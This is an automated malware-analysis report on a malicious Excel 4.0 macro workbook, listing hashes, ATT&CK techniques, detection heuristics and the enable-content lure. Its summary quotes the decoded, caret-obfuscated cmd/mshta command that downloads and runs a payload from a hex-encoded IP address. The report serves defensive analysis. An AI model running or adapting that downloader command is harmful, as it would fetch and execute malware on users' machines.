Office (OLE) / .XLS malware analysis — malicious · 43c385d1c8995be9

MALICIOUS

Office (OLE) / .XLS

64.5 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: 76a8861a20fd44567de6233f165f0602 SHA-1: 174933044c8ed21b512c8211bcd8fe8f0a6dfec3 SHA-256: 43c385d1c8995be99175c2e852ca2f96b3a5df68514e490745743750a4de397e

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro sheet (XLM) that uses an Auto_Open macro. The document body contains a lure instructing the user to enable editing and content. The extracted macro defines a string that reconstructs to the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which is designed to download and execute a payload from the specified URL. This indicates a macro-based downloader attack pattern.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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